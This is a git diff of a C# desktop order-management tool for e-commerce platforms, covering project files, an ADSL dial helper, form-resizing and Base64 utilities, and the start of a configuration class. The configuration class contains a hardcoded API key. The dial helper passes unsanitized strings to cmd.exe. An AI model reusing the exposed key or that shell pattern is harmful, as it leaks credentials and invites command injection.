///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/icon.ico b/29WxOrder/icon.ico new file mode 100644 index 0000000..ecb3eea Binary files /dev/null and b/29WxOrder/icon.ico differ diff --git a/29WxOrder/packages.config b/29WxOrder/packages.config new file mode 100644 index 0000000..dca55e1 --- /dev/null +++ b/29WxOrder/packages.config @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/AllBase/29WxOrderAllBase.csproj b/AllBase/29WxOrderAllBase.csproj new file mode 100644 index 0000000..a3b5422 --- /dev/null +++ b/AllBase/29WxOrderAllBase.csproj @@ -0,0 +1,174 @@ + + + + Debug + AnyCPU + 8.0.30703 + 2.0 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0} + Library + Properties + AllBase + 29WxOrderAllBase + v4.5.2 + 512 + + + + + true + ..\bin\ + DEBUG;TRACE + true + full + x86 + ..\bin\AllBase.dll.CodeAnalysisLog.xml + true + GlobalSuppressions.cs + prompt + MinimumRecommendedRules.ruleset + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + false + false + false + false + + + ..\bin\ + true + true + pdbonly + x86 + ..\bin\AllBase.dll.CodeAnalysisLog.xml + true + GlobalSuppressions.cs + prompt + MinimumRecommendedRules.ruleset + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + false + false + false + false + + + true + bin\Debug\ + DEBUG;TRACE + true + full + x86 + false + prompt + MinimumRecommendedRules.ruleset + false + + + bin\Release\ + true + true + pdbonly + AnyCPU + false + prompt + MinimumRecommendedRules.ruleset + false + + + + ..\packages\Portable.BouncyCastle.1.8.6\lib\net40\BouncyCastle.Crypto.dll + + + ..\packages\SharpZipLib.1.3.1\lib\net45\ICSharpCode.SharpZipLib.dll + + + ..\FindLittleRabbitOrder\DLL\NaiBa.Util.dll + + + False + ..\DllReference\Newtonsoft.Json.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OOXML.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OpenXml4Net.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OpenXmlFormats.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Component + + + + + + ResXFileCodeGenerator + Designer + + + + + + + + \ No newline at end of file diff --git a/AllBase/29WxOrderAllBase.csproj.user b/AllBase/29WxOrderAllBase.csproj.user new file mode 100644 index 0000000..301324e --- /dev/null +++ b/AllBase/29WxOrderAllBase.csproj.user @@ -0,0 +1,9 @@ + + + + false + + + ProjectFiles + + \ No newline at end of file diff --git a/AllBase/AdslHelper.cs b/AllBase/AdslHelper.cs new file mode 100644 index 0000000..4715dc9 --- /dev/null +++ b/AllBase/AdslHelper.cs @@ -0,0 +1,82 @@ +using System.Diagnostics; + + +namespace AllBase +{ + public class AdslHelper + { + /// + /// 宽带名称 + /// + public static string Name; + /// + /// 宽带名称 + /// + public static string User; + /// + /// 宽带名称 + /// + public static string Pass; + /// + /// 宽带名称 + /// + public AdslHelper() + { + } + /// + /// 初始化 + /// + /// + /// + /// + public AdslHelper(string name, string user, string pass) + { + Name = name; + User = user; + Pass = pass; + } + + /// + /// 链接 + /// + /// + /// + public void Connect(string user, string pass) + { + string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, user, pass); + InvokeCmd(arg); + } + + /// + /// 链接 + /// + public void Connect() + { + string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, User, Pass); + InvokeCmd(arg); + } + /// + /// 关闭链接 + /// + public void Disconnect() + { + string arg = string.Format("rasdial \"{0}\" /disconnect", Name); + InvokeCmd(arg); + } + public static string InvokeCmd(string cmdArgs) + { + Process p = new Process(); + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardInput = true; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.CreateNoWindow = true; + p.Start(); + p.StandardInput.WriteLine(cmdArgs); + p.StandardInput.WriteLine("exit"); + return p.StandardOutput.ReadToEnd(); + } + + } +} diff --git a/AllBase/AutoSizeFormClass.cs b/AllBase/AutoSizeFormClass.cs new file mode 100644 index 0000000..35f624c --- /dev/null +++ b/AllBase/AutoSizeFormClass.cs @@ -0,0 +1,112 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public class AutoSizeFormClass + { + //(1).声明结构,只记录窗体和其控件的初始位置和大小。 + public struct controlRect + { + public int Left; + public int Top; + public int Width; + public int Height; + } + //(2).声明 1个对象 + //注意这里不能使用控件列表记录 List nCtrl;,因为控件的关联性,记录的始终是当前的大小。 + // public List oldCtrl= new List();//这里将西文的大于小于号都过滤掉了,只能改为中文的,使用中要改回西文 + public List oldCtrl = new List(); + int ctrlNo = 0;//1; + //(3). 创建两个函数 + //(3.1)记录窗体和其控件的初始位置和大小, + public void controllInitializeSize(Control mForm) + { + controlRect cR; + cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height; + oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可 + AddControl(mForm);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + //this.WindowState = (System.Windows.Forms.FormWindowState)(2);//记录完控件的初始位置和大小后,再最大化 + //0 - Normalize , 1 - Minimize,2- Maximize + } + private void AddControl(Control ctl) + { + foreach (Control c in ctl.Controls) + { //**放在这里,是先记录控件的子控件,后记录控件本身 + //if (c.Controls.Count > 0) + // AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + controlRect objCtrl; + objCtrl.Left = c.Left; objCtrl.Top = c.Top; objCtrl.Width = c.Width; objCtrl.Height = c.Height; + oldCtrl.Add(objCtrl); + //**放在这里,是先记录控件本身,后记录控件的子控件 + if (c.Controls.Count > 0) + AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + } + } + //(3.2)控件自适应大小, + public void controlAutoSize(Control mForm) + { + if (ctrlNo == 0) + { //*如果在窗体的Form1_Load中,记录控件原始的大小和位置,正常没有问题,但要加入皮肤就会出现问题,因为有些控件如dataGridView的的子控件还没有完成,个数少 + //*要在窗体的Form1_SizeChanged中,第一次改变大小时,记录控件原始的大小和位置,这里所有控件的子控件都已经形成 + controlRect cR; + // cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height; + cR.Left = 0; cR.Top = 0; cR.Width = mForm.PreferredSize.Width; cR.Height = mForm.PreferredSize.Height; + + oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可 + AddControl(mForm);//窗体内其余控件可能嵌套其它控件(比如panel),故单独抽出以便递归调用 + } + float wScale = (float)mForm.Width / (float)oldCtrl[0].Width;//新旧窗体之间的比例,与最早的旧窗体 + float hScale = (float)mForm.Height / (float)oldCtrl[0].Height;//.Height; + ctrlNo = 1;//进入=1,第0个为窗体本身,窗体内的控件,从序号1开始 + AutoScaleControl(mForm, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + } + private void AutoScaleControl(Control ctl, float wScale, float hScale) + { + int ctrLeft0, ctrTop0, ctrWidth0, ctrHeight0; + //int ctrlNo = 1;//第1个是窗体自身的 Left,Top,Width,Height,所以窗体控件从ctrlNo=1开始 + foreach (Control c in ctl.Controls) + { //**放在这里,是先缩放控件的子控件,后缩放控件本身 + //if (c.Controls.Count > 0) + // AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + ctrLeft0 = oldCtrl[ctrlNo].Left; + ctrTop0 = oldCtrl[ctrlNo].Top; + ctrWidth0 = oldCtrl[ctrlNo].Width; + ctrHeight0 = oldCtrl[ctrlNo].Height; + //c.Left = (int)((ctrLeft0 - wLeft0) * wScale) + wLeft1;//新旧控件之间的线性比例 + //c.Top = (int)((ctrTop0 - wTop0) * h) + wTop1; + c.Left = (int)((ctrLeft0) * wScale);//新旧控件之间的线性比例。控件位置只相对于窗体,所以不能加 + wLeft1 + c.Top = (int)((ctrTop0) * hScale);// + c.Width = (int)(ctrWidth0 * wScale);//只与最初的大小相关,所以不能与现在的宽度相乘 (int)(c.Width * w); + c.Height = (int)(ctrHeight0 * hScale);// + ctrlNo++;//累加序号 + //**放在这里,是先缩放控件本身,后缩放控件的子控件 + if (c.Controls.Count > 0) + AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + + if (ctl is DataGridView) + { + DataGridView dgv = ctl as DataGridView; + Cursor.Current = Cursors.WaitCursor; + + int widths = 0; + for (int i = 0; i < dgv.Columns.Count; i++) + { + dgv.AutoResizeColumn(i, DataGridViewAutoSizeColumnMode.AllCells); // 自动调整列宽 + widths += dgv.Columns[i].Width; // 计算调整列后单元列的宽度和 + } + if (widths >= ctl.Size.Width) // 如果调整列的宽度大于设定列宽 + dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.DisplayedCells; // 调整列的模式 自动 + else + dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; // 如果小于 则填充 + + Cursor.Current = Cursors.Default; + } + } + + + } + } +} diff --git a/AllBase/Base64Encode.cs b/AllBase/Base64Encode.cs new file mode 100644 index 0000000..f7ccc4c --- /dev/null +++ b/AllBase/Base64Encode.cs @@ -0,0 +1,133 @@ +using System; +using System.Text; +using System.Linq; + +namespace AllBase +{ + + /// + /// 实现Base64加密解密 + /// 作者:周公 + /// 时间:2007 + /// + public static class Base64Encode + { + /// + /// Base64加密 + /// + /// 加密采用的编码方式 + /// 待加密的明文 + /// + public static string EncodeBase64(Encoding encode, string source) + { + byte[] bytes = encode.GetBytes(source); + try + { + string code = Convert.ToBase64String(bytes); + return code; + } + catch + { + return source; + } + + } + + /// + /// Base64加密,采用utf8编码方式加密 + /// + /// 待加密的明文 + /// 加密后的字符串 + public static string EncodeBase64(string source) + { + return EncodeBase64(Encoding.UTF8, source); + } + + /// + /// Base64解密 + /// + /// 解密采用的编码方式,注意和加密时采用的方式一致 + /// 待解密的密文 + /// 解密后的字符串 + public static string DecodeBase64(Encoding encode, string result) + { + string decode = ""; + try + { + byte[] bytes = Convert.FromBase64String(result); + decode = encode.GetString(bytes); + } + catch + { + decode = result; + } + return decode; + } + + /// + /// Base64解密,采用utf8编码方式解密 + /// + /// 待解密的密文 + /// 解密后的字符串 + public static string DecodeBase64(string result) + { + return DecodeBase64(Encoding.UTF8, result); + } + + + #region 判断是否是base64 + /// + /// 是否base64字符串 + /// + /// 要判断的字符串 + /// + public static bool IsBase64(string base64Str) + { + byte[] bytes = null; + return IsBase64(base64Str, out bytes); + } + + + private static char[] base64CodeArray = new char[] + { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', + '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', '=' + }; + + + /// + /// 是否base64字符串 + /// + /// 要判断的字符串 + /// 字符串转换成的字节数组 + /// + public static bool IsBase64(string base64Str, out byte[] bytes) + { + //string strRegex = "^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$"; + bytes = null; + if (string.IsNullOrEmpty(base64Str)) + return false; + else + { + if (base64Str.Contains(",")) + base64Str = base64Str.Split(',')[1]; + if (base64Str.Length % 4 != 0) + return false; + if (base64Str.Any(c => !base64CodeArray.Contains(c))) + return false; + } + try + { + bytes = Convert.FromBase64String(base64Str); + return true; + } + catch (FormatException) + { + return false; + } + } + + #endregion + } +} diff --git a/AllBase/BaseClass.cs b/AllBase/BaseClass.cs new file mode 100644 index 0000000..c5fa8e0 --- /dev/null +++ b/AllBase/BaseClass.cs @@ -0,0 +1,1045 @@ +/* + * 主要基类 + * 肖俊 + * 2012-5-9 + */ +using AllBase.DouYinModel.Result; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace AllBase +{ + public static class BaseClass + { + /// + /// 版本ID + /// + + public static int VersionCount = 100; + + + /// + /// 版本号 + /// + public static string Varsion = (VersionCount / 100.0).ToString("f2"); + + public static bool isUseSimGetOrder = false; + /// + /// 是否开启模拟解密 + /// + public static bool isUseSimGetRealAddress = false; + + /// + /// 当前使用的路由 + /// + public static string routeInUse = "buy_order_api"; + + public static string MyApiUrl = "https://new.qixiaoke.com"; + + + public static string ApiUrl = "http://xiaohuomao.nai8.net";//"http://xiaohuomao.nai8.net";//"http://192.168.8.191"; //" "http://192.168.8.191" http://ddapi.nai8.net:29999"; + public static bool UserApi = true; + public static string PddUid = ""; + public static string TaoBaoUid = ""; + public static string ALUid = ""; + public static string Jxsid = ""; + + /// + /// 代理版本号 + /// + public static int oem_version = 0; + + public static string ProgramName = "小奶兔打单"; + public static string ProgromLogo = ""; + public static string ProgromLogoIco = ""; + public static string ToolName = "淘金猫"; + public static string AgentName = ""; + public static string MainPath = "douyin"; + public static string ServiceQQ = "569588500"; + public static Image LoginImage = null; + public static Image LogoImage = null; + public static Icon Ico = null; + public static int bili = 5; + public static FontFamily font = null;//字体 + public static IntPtr pati; + /// + /// IP地址和名称 + /// + public static string IPAddress = "127.0.0.1"; + public static string IPAddressName = "127.0.0.1"; + + /// + /// 是否操作总公司 + /// + public static bool IsMainCompany = false; + public static bool IsBuyer = false; + /// + /// 外部版本开启拼多多 + /// + public static bool IsPinduoduo = false; + public static bool IsJinBao = false; + public static bool IsTaoKe = false; + public static bool IsPinbaobao = false; + public static bool IsXiaoNaiNiu = false; + public static bool IsJingXi = false; + public static bool SafeModel = false; + public static string AlimamaDomain = ""; + public static string AlimamaPid = ""; + //public static string ClientId = "9558f920cf77403bb475243fe44482ad"; + public static string ApiKey = "a55ef8306263e335d3c0d332a94c9dbc24347cc1"; + public static List ClientIdx = new List(); + + /// + /// 启用新版签名验证算法 + /// + public static bool NewSignatureAuth = true; + + public static Dictionary serverDic = new Dictionary();//存放服务地址 + + public static string ServerUrl = "http://psbx.9u99.com/index.php?s=/"; + public static string PXServerUrl = "http://px.jindouduo.com/";//螃蟹工具 + public static string NbAssistantUrl = "http://nbzlw.e57.cn/";//奶爸助理 + + public static string TutuGateUrlx = "http://tt.deifei.cn/";//途途上货助手 + public static string MicrowoodUrlx = "http://dd.pinsubao.com/";//微木REP + public static string BullUrlx = "http://wdt.qimake.cn/";//蛮牛工具 + public static string MicrowoodOrderUrlx = "http://wnm.pinsubao.com/";//微木订单 + public static string OrderGoldUrlx = "http://dianjin.6nt.cn/";//点金工具箱 + public static string KaiDaToolUrlx = "http://kd.qimake.cn/";//凯达工具 + public static string JfGjUrlx = "http://jfgj.qixiaoker.com/";//飓风管家 + public static string JfDeliverUrlx = "http://jffh.qixiaoker.com/";//飓风发货 + + public static string TaoBaoLoginUrl = "https://login.taobao.com/member/login.jhtml"; + + // public static string AL1688LoginUrl = "https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList&spm=a262jm.9273823.wkalibar.d8.5d884aadnN1j9G"; + + public static string PddMobileUrl = "https://yangkeduo.com/"; + public static string PddMobileUrlx = "http://yangkeduo.com/"; + + public static string duoduojinbaoURL = ""; + public static string taobaolianmengURL = ""; + + #region 设置参数 + /// + /// 是否读取佣金 0是读取 1不读取 + /// + public static int is_read_commission=0; + + #endregion + + /// + /// 店铺子账号字典 + /// + public static Dictionary dousubaccountDic = new Dictionary(); + public static int readOrderTime = 0; + + /// + /// 巨量百应用户cookies + 